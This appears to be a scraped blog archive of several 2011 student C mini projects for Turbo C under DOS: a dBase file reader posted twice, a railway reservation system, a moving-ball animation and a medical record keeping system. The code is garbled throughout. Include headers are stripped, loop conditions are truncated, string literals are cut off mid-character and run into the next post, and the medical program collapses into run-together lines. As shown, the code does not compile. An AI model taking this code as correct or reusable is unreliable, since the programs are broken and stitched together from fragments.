setfillstyle(SOLID_FILL,LIGHTGRAY);
bar3d(180,50,420,70,20,20); /*project members bar*/
bar3d(50,350,570,420,25,25); /*project guide bar*/
setcolor(BLUE);
settextstyle(1,0,2);
outtextxy(193,48,"PROJECT MEMBERS");

outtextxy(193,130,"MANISH MISHRA");
outtextxy(193,170,"VISHAL YADAV");
outtextxy(193,210,"SHIV KUMAR RAI");
outtextxy(193,250,"DINESH YADAV");

outtextxy(235,351,"PROJECT GUIDE:");
settextstyle(1,0,5);
outtextxy(140,373,"MR. AMIT TANEJA");
/* sleep(4); */
getch();
closegraph();
restorecrtmode();
}

box(int i,char *p)
{
setfillstyle(SOLID_FILL,WHITE);
bar(179,108+55*i,409,138+55*i);
setfillstyle(SOLID_FILL,LIGHTGRAY);
bar(180,110+55*i,410,140+55*i);
setcolor(BLUE);
// setfillstyle(SOLID_FILL,BLUE);
settextstyle(1,0,2);
outtextxy(184,110+55*i,p);
/* getch();
setfillstyle(SOLID_FILL,WHITE);
bar(180,60,390,90);
setfillstyle(SOLID_FILL,RED);
bar(179,59,389,89); */

/* bar3d(180,100,420,300,-25,25);*/ /*members bar*/
/* closegraph();
restorecrtmode(); */
}

selectbox(int i,char *p)
{
setfillstyle(SOLID_FILL,WHITE);
bar(179,108+55*i,409,138+55*i);
setfillstyle(SOLID_FILL,9);
bar(180,110+55*i,410,140+55*i);
setcolor(WHITE);
// setfillstyle(SOLID_FILL,BLUE);
settextstyle(1,0,2);
outtextxy(184,110+55*i,p);
/* getch();
setfillstyle(SOLID_FILL,WHITE);
bar(180,60,390,90);
setfillstyle(SOLID_FILL,RED);
bar(179,59,389,89); */

/* bar3d(180,100,420,300,-25,25);*/ /*members bar*/
/* closegraph();
restorecrtmode(); */
}

pressbutton(int i,char *p)
{

setfillstyle(SOLID_FILL,WHITE);
bar(180,110+55*i,410,140+55*i);
setfillstyle(SOLID_FILL,9);
bar(179,108+55*i,409,138+55*i);
setcolor(CYAN);
settextstyle(1,0,2);
outtextxy(184,110+55*i,p);
delay(350);
}
title(char *title,int x)
{
setfillstyle(SOLID_FILL,9);
bar(0,0,640,50);
setcolor(BLACK);
settextstyle(1,0,5);
outtextxy(x,0,title);
}

status()
{
setfillstyle(SOLID_FILL,9);
bar(0,450,640,480);
setcolor(BLACK);
settextstyle(1,0,3);
outtextxy(30,450,"USE UP & DOWN ARROW KEYS TO SELECT AN OPTION");
}

void main()
{
screen1();
screen2();
main_menu();
}

To access the dbf database files and maupulate from the C Program

2011-03-20T20:23:00.000-07:00

Code :

#include stdio.h
#include stdlib.h
#include string.h
#define MAXFIELDS 1000 /* maximum nr of fields */
#include mem.h
#include string.h

void main(int argc, char *argv[])
{ char *p,*q,*r,*buf;
typedef char string11[12];
FILE *in,*out,*out1;
int a,i,j,n,field_pos[MAXFIELDS+1],nfield=0,pos,lrec;
char *record,field_type[MAXFIELDS];

// string11 field_data[500];

string11 field_name[MAXFIELDS];
struct
{ char version; /* dBase version */
char datum[3]; /* date of last update YYMMDD */
long nrec; /* nr of records in th database file */
short nhead; /* nr of bytes in the header */
short lrec; /* nr of bytes in the record */
char dum1[2];
char transact; /* flag for incomplete transaction */
char encrypt; /* encryption flag */
char mdx; /* flag for presence of mdx-file */
char dum2[3];
} header;

struct
{ char name[11]; /* fieldname zero filled */
char type; /* field type (C, D, F, L, M, N) */
char dum1[4];
unsigned char length; /* field length in binary */
char ndec; /* field decimal count in binary */
char dum2[2];
char workid; /* work area ID */
char dum3[11];
char data[10];
} field;

switch(argc)
{ case 1: in=stdin;
break;
case 2: if ((in = fopen(argv[1],"rb")) == NULL)
{ fprintf(stderr,"Input file %s not found
",argv[1]);
exit(1);
}
break;
default: fprintf(stderr,"Usage: %s dbase_file >
database
",argv[0]);
fprintf(stderr,"Or: cat dbase_file | %s >database
",argv[0]);

exit(1);
}
fread(&header,32,1,in);
n=header.lrec;
pos=1;
// a=field_name[3];
while (n>1)
{ if (nfield==MAXFIELDS)
{ fprintf(stderr,"Too many fields
");
exit(1);
}
fread(&field,32,1,in);
strcpy(field_name[nfield],field.name);
field_type[nfield]=field.type;
// printf("
FIELD: %s",field_name[3]);

field_pos[nfield++]=pos;
pos+=(int)field.length;
n-=(int)field.length;
}
for (i=1;i {
printf("%s%c",field_name[i],i==nfield-1?'
':' ');
}

// for (i=0;ifield_name[i],i==nfield-1?'
':' ');
field_pos[nfield]=pos; /* one extra for length calculation of last
field
*/
// printf("
%s",field_name[3].data);
fread(&i,1,1,in); /*read field terminator */
if (i!=0xD)
{ fprintf(stderr,"Illegal field terminator; more than %d
fields?
",MAXFIELDS);
exit(1);
}

lrec=header.lrec;
record=malloc(lrec);
for (i=1;i {
if (fread(record,lrec,1,in)!=1)
{
fprintf(stderr,"Error reading record %d
",i+1);
exit(1);
}

if (*record!='*') /* if not a deleted record */
for (j=1;j {
if(j==1)
{
p=record+field_pos[j]+1; /* first char of the field */
q=record+field_pos[j+1]-1; /* last char of the field */
while (*p==' ' && p<=q) p++; /* remove leading spaces */
while (*q==' ' && p<=q) *(q--)='

Railway Reservation System (Mini Project In C)

2011-03-20T20:22:00.001-07:00

Code :

#include conio.h
#include stdio.h
#include graphics.h
#include stdlib.h
#include dos.h
#include string.h
#include math.h

/***************Global Variable Declarations****************/

union REGS i,o;
int xmax,ymax;
int gdriver = DETECT, gmode, errorcode,x,y;
int count=0,no_pass=0;
FILE *ptr1;
char d[8][3]={{"S1"},{"S2"},{"S3"},{"S4"},{"S5"},{"S6"},{"S7"},{"S8"}};
char x1[2];

/****************************Global Structures declared**********/

struct travel
{
char tno[5];
//char doj[10];
int d1,m1,y1;
char from[4];
char to[4];
char passen[6][20];
char sex[6][2];
char age[6][3];
int seat_no[6];
char coano[3];
   // float pnr;
long int pnr;
float bill;
}passenger;
struct
{
// float pnr;
long int pnr;
}pass;
struct
{
int seat_no;
char coano[3];
char status[1];
}berth;

struct
{
char tno[5];
char tname[20];
}train;

/***********************User Defined Functions***********/

void firstscreen();
void mainmenu();
void reserv();
void clear();
void setgraph();
void clearline();
void drawbox();
void cancel();
void enquiry();
void color(int,int,int);
void printtic(struct travel);

/*****************Main Function*****************************/
void main()
{
int i;
FILE *ptr,*tr;
/***********loop for writing train nos***************/
if((tr=fopen("tra.dat","r"))==NULL)
{
tr=fopen("tra.dat","w");
strcpy(train.tno,"3143");
strcpy(train.tname,"Darjeeling Mail");
fwrite(&train,sizeof(train),1,tr);
strcpy(train.tno,"3147");
strcpy(train.tname,"Uttarbanga Exp");
fwrite(&train,sizeof(train),1,tr);
fclose(tr);
}

/************loop for writing train berth nos*********/
if((ptr=fopen("berths3.dat","r"))==NULL)
{
ptr=fopen("berths3.dat","wb");
strcpy(berth.coano,d[0]);
strcpy(berth.status,"V");
for(i=1;i<=73;i++)
{
if(i>72)
{
count++;
strcpy(berth.coano,d[count]);
i=1;
}
if(count==8)
break;
berth.seat_no=i;
fwrite(&berth,sizeof(berth),1,ptr);

}
}
fclose(ptr);
if((ptr=fopen("berths7.dat","r"))==NULL)
{
ptr=fopen("berths7.dat","wb");
strcpy(berth.coano,d[0]);
strcpy(berth.status,"V");
for(i=1;i<=73;i++)
{
if(i>72)
{
count++;
strcpy(berth.coano,d[count]);
i=1;
}
if(count==8)
break;
berth.seat_no=i;
fwrite(&berth,sizeof(berth),1,ptr);

}
   }
   fclose(ptr);
textcolor(WHITE);
textbackground(BLACK);
clrscr();
firstscreen();
mainmenu();
reserv();
cancel();

getch();
}
void firstscreen()
{
int r,c;
for(r=4;r<=20;r++)
{
gotoxy(20,r);
printf("*");
gotoxy(60,r);
printf("*");
}
for(c=20;c<60;c++)
{
gotoxy(c,4);
printf("*");
gotoxy(c,20);
printf("*");
}

gotoxy(36,6);
textattr(LIGHTRED);
cprintf("PROJECT");

gotoxy(39,8);
textcolor(BLUE);
cprintf("ON");

gotoxy(32,10);
textcolor(BROWN);
cprintf("Railway Reservation");

gotoxy(25,13);
textcolor(YELLOW);
putch(1);

textcolor(CYAN);
cprintf(" DEVELOPERS : ");
cprintf("Dinesh Chachan");
gotoxy(40,14);
cprintf("Ashutosh Kumar");
gotoxy(40,15);
cprintf("Deepshikha Deb");

gotoxy(25,17);
textcolor(YELLOW);
putch(2);

textcolor(CYAN);
cprintf(" GUIDE : ");
textcolor(CYAN);
cprintf("Udit Chakraborty");
gotoxy(28,23); textcolor(MAGENTA + BLINK);
cprintf("Press a key to continue");
getch();
}

void mainmenu()
{
char choice;
setgraph();
settextjustify(CENTER_TEXT, CENTER_TEXT);
settextstyle(TRIPLEX_FONT, HORIZ_DIR, 5);
outtextxy(xmax,45,"Railway Reservation");
/* draw a rectangle */
rectangle(100,150,500,350);
gotoxy(17,12);
printf("1. For reservation press 1
");
gotoxy(17,14);
printf("2. For cancellation press 2
");
gotoxy(17,16);
printf("3. For enquiry press 3
");
gotoxy(17,18);
printf("4. For closing the program press 4
");
gotoxy(48,25);
printf("Created by SOFTECH SOLUTIONS Ltd.");
gotoxy(20,20);
printf("Choice : ");
scanf("%d",&choice);
switch(choice)
{
case 1:
reserv();
break;
case 2:
closegraph();
clrscr();
cancel();
break;
case 3:
closegraph();
enquiry();
break;
case 4:
exit(1);
default:
gotoxy(29,20);
printf("Not a valid choice");
getch();
main();
}
}
int pass_name(int i,int x, int y)
{
int flag,pos;
do
{
flag=1;
gotoxy(x,y);
fflush(stdin);
gets(passenger.passen[i]);
fflush(stdin);
strupr(passenger.passen[i]);
if (strlen(passenger.passen[i]) == 0)
{
if(i>0)
{
return(7);
}
gotoxy(10,24);
printf("aPassenger Name should not be left BLANK");
flag=0;
//i--;
getch();
clearline(24);
}
else if (strlen(passenger.passen[i]) >20)
{
//gotoxy(10,20);
gotoxy(10,24);
printf("aPassenger Name must be less than 20 characters");
flag=0;
getch();
clearline(24);
}
}while(flag==0);
gotoxy(x,y);
puts(passenger.passen[i]);
i++;
return(i);
}
int pass_sex(int j,int x,int y)
{
int flag,i;
char ch[1][1];
do
{
flag=1;
gotoxy(x,y);
fflush(stdin);
gets(passenger.sex[j]);
fflush(stdin);
strupr(passenger.sex[j]);
if (strlen(passenger.sex[j]) == 0)
{
gotoxy(10,24);
printf("aSex should not be left BLANK");
flag=0;
getch();
clearline(24);
}
else if(strlen(passenger.sex[j])!=1)
{
gotoxy(10,24);
printf("aPassenger's Sex must be 1 characters long");
flag=0;
getch();
clearline(24);
}
}while (flag==0);
gotoxy(x,y);
puts(passenger.sex[j]);
j++;
return(j);
}

int pass_age(int k,int x,int y)
{
int flag,i,j;
do
{
flag=1;
gotoxy(x,y);
if(flag==1)
no_pass++;
gets(passenger.age[k]);
fflush(stdin);
strupr(passenger.age[k]);
if (strlen(passenger.age[k]) == 0)
{
gotoxy(10,24);
printf("aPassenger's Age should not be left BLANK");
flag=0;
getch();
clearline(24);
}
else if (strlen(passenger.age[k])!=2)
{
gotoxy(10,24);
printf("aPassenger's Age must be equal to 2 characters");
flag=0;
// k--;
getch();
clearline(24);
}
else if(strcmp(passenger.age[k],"00")==0)
{
gotoxy(10,24);
printf("aPassenger's Age cannot be less than 1 year");
flag=0;
getch();
clearline(24);
}
for(i=k;i
{
for(j=0;j<2;j++)
{
if(!isdigit(passenger.age[i][j]))
{
gotoxy(10,24);
printf("aEnter a valid age");
flag=0;
getch();
clearline(24);
}
}
}
}while (flag==0);
gotoxy(x,y);
k++;
puts(passenger.age[k]);
return(k);
}

showmouseptr()
{
i.x.ax=1;
int86(0x33,&i,&o);
}
int restrictmouseptr(int x1,int y1,int x2,int y2)
{
i.x.ax=7;
i.x.cx=x1;
i.x.dx=x2;
int86(0x33,&i,&o);

i.x.ax=8;
i.x.cx=y1;
i.x.dx=y2;
int86(0x33,&i,&o);
}

void clear()
{
int i,j;
for(i=0;i<=80;i++)
{
for(j=0;j<=25;j++)
{
printf("%c",' ');
gotoxy(i,j);
}
}
gotoxy(1,1);
}
void setgraph()
{

clrscr();

/* initialize graphics and local variables */
initgraph(&gdriver, &gmode, "c:\tc\bgi");

/* read result of initialization */
errorcode = graphresult();
/* an error occurred */
if (errorcode != grOk)
{
printf("Graphics error: %s
", grapherrormsg(errorcode));
printf("Press any key to halt:");
getch();
exit(1);
}

xmax = getmaxx()/2;
ymax = getmaxy()/2;
}
void clearline(int yco)
{
int i,j;
gotoxy(5,yco);
for(i=0;i<70;i++)
{
printf("%c",' ');
}
}
void drawbox()
{
int xr,xc;
int la,ra;
gotoxy(0,0);
for(xr=1;xr<=80;xr++)
printf("Ä");
xc=2;
for(la=1;la<=23;la++)
{
gotoxy(1,xc);
printf("³");
gotoxy(80,xc);
printf("³");
xc++;
}
gotoxy(0,25);
for(xr=1;xr<80;xr++)
printf("Ä");
gotoxy(1,1);
printf("Ú");
gotoxy(80,24);
printf("³");
}

void reserv()
{
int i,flag,j,k,test,found,set_no,count1=0,year;
struct date d;
float pnrno;
char tno[3],ans;
char a[1],c,age[3],ch;
char *p;
FILE *ptr,*pno,*tr;
closegraph();
highvideo();
//Design Part
clear();
drawbox();
gotoxy(3,2);
for(i=0;i<74;i++)
printf("Ä");

j=3;
for(i=0;i<4;i++)
{
gotoxy(3,j);
printf("³");

gotoxy(77,j);
printf("³");
j++;
}
gotoxy(3,6);
for(i=0;i<75;i++)
printf("Ä");
gotoxy(6,2);
printf(" Journey Details ");
color(15,18,3);
gotoxy(5,3);
printf("Train No : ");
color(32,46,3);
gotoxy(20,3);
printf("Train Name :");
color(67,68,3);
color(71,72,3);
color(75,76,3);
gotoxy(49,3);
printf("Date of Booking :");
gotoxy(67,3);
getdate(&d);
printf("%d",d.da_day);
gotoxy(69,3);
putch('-');
gotoxy(71,3);
printf("%d",d.da_mon);
putch(' -');
printf("%d",d.da_year);
color(12,14,5);
gotoxy(5,5);
printf("From :");
color(27,29,5);
gotoxy(20,5);
printf("To :");
color(67,68,5);
color(71,72,5);
color(75,76,5);
gotoxy(49,5);
printf("Date Of Journey :");
gotoxy(3,8);
for(i=0;i<=74;i++)
printf("Ä");
gotoxy(7,8);
printf("Passenger Details");
j=9;
for(i=0;i<14;i++)
{
gotoxy(3,j);
printf("³");

gotoxy(77,j);
printf("³");
j++;
}
gotoxy(3,23);
printf("");
gotoxy(3,23);
for(i=0;i<74;i++)
printf("Ä");
gotoxy(4,10);
for(i=0;i<73;i++)
printf("Ä");
color(8,31,11);
gotoxy(22,9);
printf("NAME");

gotoxy(46,9);
printf("SEX");
gotoxy(53,9);
printf("AGE");
gotoxy(65,9);
printf("REMARKS");
j=9;
for(i=0;i<14;i++)
{
gotoxy(44,j);
printf("³");

gotoxy(51,j);
printf("³");

gotoxy(58,j);
printf("³");
j++;
}

for(i=0;i<6;i++)
{
color(5,38,(11+i));
color(46,48,(11+i));
color(53,56,(11+i));
color(5,38,(16+i));
color(46,48,(16+i));
color(53,56,(16+i));
}

//User input part
gotoxy(15,3);
do
{
int len;
fflush(stdin);
//name input
gets(passenger.tno);
if(len=(strlen(passenger.tno))!=4)
{
gotoxy(10,24);
printf("Train No Must be 4 digits long");
getch();
clearline(24); //clears the line
gotoxy(15,3);
}
tr=fopen("tra.dat","r");
fread(&train,sizeof(train),1,tr);
while(!feof(tr))
{
if((strcmp(passenger.tno,train.tno))==0)
{
found=0;
flag=0;
break;
}
else
found=2;
fread(&train,sizeof(train),1,tr);
}
if(found==2)
{
gotoxy(8,24);
printf("This Train No does not exist");
getch();
clearline(24);
gotoxy(15,3);
flag=1;
}
}while(strlen(passenger.tno)!=4||flag==1);
if(found==0)
{
gotoxy(32,3);
puts(train.tname);
found=1;
}

fflush(stdin);
do
{
flag=1;
gotoxy(12,5);
fflush(stdin);
scanf("%[^
]",passenger.from);
fflush(stdin);
strupr(passenger.from);
if (strlen(passenger.from) == 0)
{
gotoxy(10,24);
printf("aFrom field should not be left BLANK");
flag=0;
getch();
clearline(24);
}
else if (strlen(passenger.from) != 3)
{
gotoxy(10,24);
printf("aFrom should be equal to 3 characters");
flag=0;
getch();
clearline(24);
}
for(i=0;i<3;i++)
{
ch=passenger.from[i];
if(isdigit(ch))
{
gotoxy(10,24);
printf("aEnter a valid Boarding Place");
flag=0;
getch();
clearline(24);
break;
}
}
}while (flag==0);
gotoxy(12,5);
puts(passenger.from);

do
{
flag=1;
gotoxy(27,5);
fflush(stdin);
scanf("%[^
]",passenger.to);
fflush(stdin);
strupr(passenger.to);
if (strlen(passenger.to) == 0)
{
gotoxy(10,24);
printf("aTo field should not be left BLANK");
flag=0;
getch();
clearline(24);
}
else if (strlen(passenger.to) != 3)
{
gotoxy(10,24);
printf("aTo should be equal to 3 characters");
flag=0;
getch();
clearline(24);
}
for(i=0;i<3;i++)
{
ch=passenger.to[i];
if(isdigit(ch))
{
gotoxy(10,24);
printf("aEnter a valid Destination Place");
flag=0;
getch();
clearline(24);
break;
}
}
}while (flag==0);
gotoxy(27,5);
puts(passenger.to);
i=j=k=0;

gotoxy(67,5);
while(c!=13)
{
fflush(stdin);
c=getch();
if((c<'0'||c>'9')&&c!=13&&c!=8)
{
if(c==27)
return;
gotoxy(5,24);
printf("Please Enter Valid Date.");
getch();
gotoxy(67,5);
printf(" ");
gotoxy(5,24);
clearline(24);
gotoxy(67,5);
count1=0;
c='a';
}
else if(c==8)
{
if(wherex()>69)
{
gotoxy(wherex()-1,15);
putch(' ');
count1--;
gotoxy(wherex()-1,15);
}
}
else if(c!=13)
{
if(wherex()<69)
{
putch(c);
age[count1]=c;
count1++;
}
else
{
gotoxy(5,24);
printf("Date Can Be Only 2 Digits.");
getch();
clearline(24);
gotoxy(67,5);
}
}
else
{
age[count1]='

To Retrieve and manipulate .dbf files through c program (Mini Project in C)

2011-03-20T20:21:00.001-07:00

Code :

// This is devloped by narender

#include stdio.h
#include stdlib.h
#include string.h
#define MAXFIELDS 1000
#include mem.h
#include string.h
void main(int argc, char *argv[])
{ char *p,*q,*r,*buf;
  typedef char string11[12];
  FILE *in,*out,*out1;
  int a,i,j,n,field_pos[MAXFIELDS+1],nfield=0,pos,lrec;
  char *record,field_type[MAXFIELDS];
// string11 field_data[500];
  string11 field_name[MAXFIELDS];
  struct
  { char version; /* dBase version */
   char datum[3]; /* date of last update YYMMDD */
   long nrec; /* nr of records in th database file */
   short nhead; /* nr of bytes in the header */
   short lrec; /* nr of bytes in the record */
   char dum1[2];
   char transact; /* flag for incomplete transaction */
   char encrypt; /* encryption flag */
   char mdx; /* flag for presence of mdx-file */
   char dum2[3];
  } header;

  struct
  { char name[11]; /* fieldname zero filled */
   char type; /* field type (C, D, F, L, M, N) */
   char dum1[4];
   unsigned char length; /* field length in binary */
   char ndec; /* field decimal count in binary */
   char dum2[2];
   char workid; /* work area ID */
   char dum3[11];
   char data[10];
  } field;

  switch(argc)
  { case 1: in=stdin;
break;
   case 2: if ((in = fopen(argv[1],"rb")) == NULL)
{ fprintf(stderr,"Input file %s not found
",argv[1]);
exit(1);
}
break;
   default: fprintf(stderr,"Usage: %s dbase_file >
database
",argv[0]);
fprintf(stderr,"Or: cat dbase_file | %s >database
",argv[0]);
exit(1);
  }
  fread(&header,32,1,in);
  n=header.lrec;
  pos=1;
  // a=field_name[3];
  while (n>1)
  { if (nfield==MAXFIELDS)
   { fprintf(stderr,"Too many fields
");
   exit(1);
   }
   fread(&field,32,1,in);
   strcpy(field_name[nfield],field.name);
   field_type[nfield]=field.type;
   // printf("
FIELD: %s",field_name[3]);

   field_pos[nfield++]=pos;
   pos+=(int)field.length;
   n-=(int)field.length;
  }
   for (i=1;i
   {
printf("%s%c",field_name[i],i==nfield-1?'
':' ');
  }

// for (i=0;i
field_name[i],i==nfield-1?'
':' ');
  field_pos[nfield]=pos; /* one extra for length calculation of last
field
*/
// printf("
%s",field_name[3].data);
  fread(&i,1,1,in); /*read field terminator */
  if (i!=0xD)
  { fprintf(stderr,"Illegal field terminator; more than %d
fields?
",MAXFIELDS);
   exit(1);
  }

   lrec=header.lrec;
   record=malloc(lrec+2);
   for (i=1;i
   {
if (fread(record,lrec,1,in)!=1)
{
fprintf(stderr,"Error reading record %d
",i+1);
exit(1);
}

if (*record!='*') /* if not a deleted record */
for (j=1;j
{
if(j==1)
{
p=record+field_pos[j]; /* first char of the field */
q=record+field_pos[j+1]-1; /* last char of the field */
while (*p==' ' && p<=q) p++; /* remove leading spaces */
while (*q==' ' && p<=q) *(q--)='

Moving Ball (Mini Project in C)

2011-03-20T20:20:00.000-07:00

Code :
# include graphics.h
# include stdlib.h
# include conio.h
# include dos.h

int x,y,maxx,maxy,i,j;

int main(void)
{
int gdriver = DETECT, gmode;
void *image;
unsigned int size;
char ch;
void fillBox(int,int);
int Row,Col;

// Initialize graphics drivers and mode.
initgraph(&gdriver,&gmode,"d:\tc\bgi ");

// Draw a rectangle
// rectangle(x1,y1,x2,y2)
maxx=getmaxx(); // x2
maxy=getmaxy(); // y2
rectangle(10,10,maxx-10,maxy-10);

// Puts Pixel in the Rectangle.
fillBox(maxx,maxy);
x=y=70;
// Draw Circle and FillColor
setfillstyle(1,14);
circle(x,y,20);
floodfill(x,y,15);

// Creating the Image
size = imagesize(x,y,x+20,y+20);
image=malloc(size);
getimage(x-20,y-20,x+20,y+20,image);
x-=20;
y-=20;
// Will Displays till Any key is hit !!!...
while(!kbhit())
{
Row = x; Col = y;
putimage(x,y,image,XOR_PUT); // clears the Image from Screen
//x=random(maxx-70);
//y=random(maxy-70);
//fillBox(maxx,maxy);
x=x+10;
/* if(x<50) x=50; if(y<50) y=50;*/ putimage(x,y,image,OR_PUT); // Puts the image on screen. delay(50); // Waits for few Seconds. if(x>540)
{
putimage(x,y,image,XOR_PUT);
Row = x; Col = y;
for(i=0;i<540;i++) { x=random(maxx-10); y=random(maxy-10); if(x>10 && y>10)
putpixel(x,y,14);
}
//putpixel(x,y,14);
x= Row;
y=Col;
x=10;
y=y+20;
putimage(x,y,image,XOR_PUT);
}
if(y>410)
{
putimage(x,y,image,XOR_PUT);
Row = x; Col = y;
fillBox(maxx,maxy);
x= Row;
y=Col;
x=10;
y=30;
putimage(x,y,image,XOR_PUT);
}
}
free(image); //Removes the image from the Screen.
closegraph(); // Closes the Graphics Mode.
}

void fillBox(int maxx,int maxy)
{
cleardevice(); // Clears the Graphics Screen
maxx=getmaxx(); // x2
maxy=getmaxy(); // y2
rectangle(10,10,maxx-10,maxy-10);
for(i=0;i<8000;i++) { x=random(maxx-10); y=random(maxy-10); if(x>10 && y>10)
putpixel(x,y,14);
}
}

Medical record keeping system (Mini Project in C)

2011-03-20T20:19:00.000-07:00

Code :

//PROJECT ON-:MEDICAL RECORD KEEPING SYSTEM
//ENVIORNMENT-C/C++
//COMPATIBLE WITH WINDOWS 95,98(NOT FOR XP)
#include stdio.h
#include conio.h
#include dos.h
#pragma warn -rvl
#define SE 112
#define US 7
union REGS i,o;

/**************************************************************/
/*STRUCTURE AND VARIABLES FOR EMPLOYEE ENTRY*/

/**************************************************************/
struct employee
{
char empname[100];
char empno[10];
char empdept[50];
char memname[100];
}e;
int member;
char names[100];

char name3[100];
char no[10];
char dept[50];

char id1[10];
char nameemp[100];
char dateemp[10];

/*******************************************************************/
/*STRUCTURE AND VARIABLES FOR OUTSIDERS ENTRY */

/*******************************************************************/
struct outsider
{
char patientno[10];
char date[12];
char patient[100];
int age;
char sex1[4];
char suffer[50];
char medicine[50];
}out;

int flag=0;
//Variables For Outsiders Record File Started
char name1[100];
char date1[40];
char id[10];
char another;
char another1;
char del[100];
char another2;
char update[100];
char updateno[100];
//Variables For Outsiders Record File Completed
/******************************************************************/

//STRUCTURE FOR NEW ENTRY FORM

/******************************************************************/
struct form
{
char empno2[10];
char date[10];
char patient[100];
char sex[8];
char age[10];
char medicine[100];
}s;
char del1[10];
char petname[100];
char dates[10];
/******************************************************************/
//To use keys
/******************************************************************/
//Taken from file save1.c
int get_file_attrib(char fname[40]);
void setattr(int,int,int);
char far *scr;
char far *mode1;
int r,c,w,x,y,attrib,flen=1;
char ch;//To use keys

char name[10];
char number[10];
int len,z;
int p,q;
int a,b;
int x,y,button;

FILE *fp,*ft,*fpt,*fs,*fps;
void main()
{

int i,j;
fp=fopen("medical1.dat","r+");//file open for read only
if(fp==NULL)
{
fp=fopen("medical1.dat","w+");//file open for write only
if(fp==NULL)
{
printf("
Cannot open file");
}
}

ft=fopen("medical2.dat","r+");
if(ft==NULL)
{
ft=fopen("medical2.dat","w+");
if(ft==NULL)
{
printf("cannot open file");
}
}

fs=fopen("medical3.dat","r+");
if(fs==NULL)
{
fs=fopen("medical3.dat","w+");
if(fs==NULL)
{
printf("cannot open file");
}
}

textmode(3);
clrscr();
TABLE();
TABLE1();

if(initmouse()==0)
{
printf("mouse driver not loaded");
exit(1);
}

showmouseptr();
getmousepos(&button,&x,&y);

while(!kbhit())
{

getmousepos(&button,&x,&y);
MAINMENU();

//gotoxy(65,4);
//printf("x=%03d,y=%03d",x,y);

}//While loop ended
fclose(fp);
fclose(ft);
fclose(fs);
}//Void main ended

TABLE()
{
int i,j;
textbackground(BLACK);
//Taken from save1.c to use keys
/* _AH=0;
_AL=3;
geninterrupt(0x10);
if((*mode1 &0x30)== 0x30)
scr=(char far*) 0xb0000000; //0xb0000000;
else
scr=(char far*) 0xb8000000;
begin:
r=4;
c=20;//upto here */
clrscr();
_setcursortype(_NOCURSOR);
textcolor(WHITE);
textbackground(4);
highvideo();
gotoxy(1,2);
cprintf("É");
for(i=2;i<79;i++){gotoxy(i,j=2);cprintf("Í");}gotoxy(79,2);cprintf("»");for(j=3;j<25;j++){gotoxy(i=1,j);cprintf("º");}gotoxy(1,25);cprintf("È");for(i=2;i<79;i++){gotoxy(i,j=25);cprintf("Í");}gotoxy(79,25);cprintf("¼");for(j=3;j<25;j++){gotoxy(i=79,j);cprintf("º");}for(i=2;i<40;i++){gotoxy(i,j=4);delay(10);cprintf("Ä");gotoxy(i,j=23);delay(1);cprintf("Ä");}for(i=78;i>=40;i--)
{
gotoxy(i,j=4);
delay(10);
cprintf("Ä");
gotoxy(i,j=23);
delay(10);
cprintf("Ä");
}
for(i=2;i<79;i++){for(j=3;j<=3;j++){textcolor(4);textbackground(8);highvideo();gotoxy(i,j);cprintf("°");}}for(i=2;i<79;i++){for(j=24;j<25;j++){textcolor(4);highvideo();gotoxy(i,j);cprintf("°");}}textcolor(4);lowvideo();gotoxy(5,8);cprintf(" Ü ");gotoxy(5,9);cprintf(" ÜÜÜÛÜÜÜ");gotoxy(5,10);cprintf(" Û ");gotoxy(64,8);cprintf(" Ü ");gotoxy(64,9);cprintf("ÜÜÜÛÜÜÜ ");gotoxy(64,10);cprintf(" Û ");textcolor(10);highvideo();gotoxy(25,5);cprintf("ÛßÜßÛ Ûßß ÛßÜ ßÛß Ûßß ÜßÜ Û");delay(200);gotoxy(25,6);cprintf("Û Û ÛÛ Û Û Û Û ÛÜÛ Û");delay(200);gotoxy(25,7);cprintf("Û Û ÛÜÜ ÛÜß ÜÛÜ ÛÜÜ Û Û ÛÜÜ");delay(200);gotoxy(25,9);cprintf("ÛßÜ Ûßß Ûßß ÛßÛ ÛßÜ ÛßÜ");delay(200);gotoxy(25,10);cprintf("ÛÜß ÛÛ Û Û Û ÛÜß Û Û ");delay(200);gotoxy(25,11);cprintf("Û ßÜ ÛÜÜ ÛÜÜ ÛÜÛ Û ßÜ ÛÜß ");delay(200);gotoxy(10,13);cprintf("ÛßÜßÛ ÜßÜ ßÛß ÛßÜ Û ßßÛßß ÜßÜ ßÛß ÛßÜ Û ßÛß ÛßÜ Û Ûß ");delay(200);gotoxy(10,14);cprintf("Û Û ÛÜÛ Û Û Û Û Û ÛÜÛ Û Û Û Û Û Û Û Û Ûß ÜßßÜ");delay(200);gotoxy(10,15);cprintf("Û Û Û Û ÜÛÜ Û ÛÛ Û Û Û ÜÛÜ Û ÛÛ ÜÛÜ Û ÛÛ ßÜÜÜÛ Û");delay(200);gotoxy(21,17);cprintf("Ûßß ßÜ Üß Ûßß ßßÛßß Ûßß ÛßÜßÛ");delay(200);gotoxy(21,18);cprintf(" ßÜ Û ßÜ Û ÛÛ Û Û");delay(200);gotoxy(21,19);cprintf("ÜÜÜÛ Û ÜÜÜÛ Û ÛÜÜ Û Û");//Taken from save1.c/*gotoxy(3,22); printf(" HELP "); gotoxy(73,22); printf(" NEXT "); while(ch!=13) { for(x=3;x<73;x++) setattr(x,20,US); setattr(r,c,SE); gotoxy(36,11); ch=getch(); if(ch=='H'||ch=='h') { if(r==4) r=4; else r--; } else if(ch=='P'||ch=='p') { if(r==8) r=8; else r++; }} ch=' '; y=r-3; */textcolor(YELLOW+BLINK);textbackground(1);highvideo();gotoxy(2,22);cprintf(" Press any key to continue......");getch();}TABLE1(){ int i,j; textcolor(WHITE); textbackground(1); clrscr(); highvideo(); _setcursortype(_NOCURSOR); gotoxy(1,2); cprintf("Ú"); for(i=2;i<79;i++) { gotoxy(i,j=2); cprintf("Ä"); } gotoxy(79,2); cprintf("¿"); for(j=3;j<25;j++) { gotoxy(i=1,j); cprintf("³"); } gotoxy(1,25); cprintf("À"); for(i=2;i<79;i++) { gotoxy(i,j=25); cprintf("Ä"); } gotoxy(79,25); cprintf("Ù"); for(j=3;j<25;j++) { gotoxy(i=79,j); cprintf("³"); } gotoxy(1,4); cprintf("Ã"); gotoxy(79,4); cprintf("´"); for(i=2;i<79;i++) { gotoxy(i,j=4); cprintf("Ä"); } gotoxy(1,6); cprintf("Ã"); gotoxy(79,6); cprintf("´"); for(i=2;i<79;i++) { gotoxy(i,j=6); cprintf("Ä"); } gotoxy(2,5); cprintf("³"); gotoxy(78,5); cprintf("³"); textcolor(6+BLINK); textbackground(8); highvideo(); gotoxy(1,1); cprintf(""); gotoxy(33,1); textbackground(8); textcolor(10+BLINK); highvideo(); cprintf(" 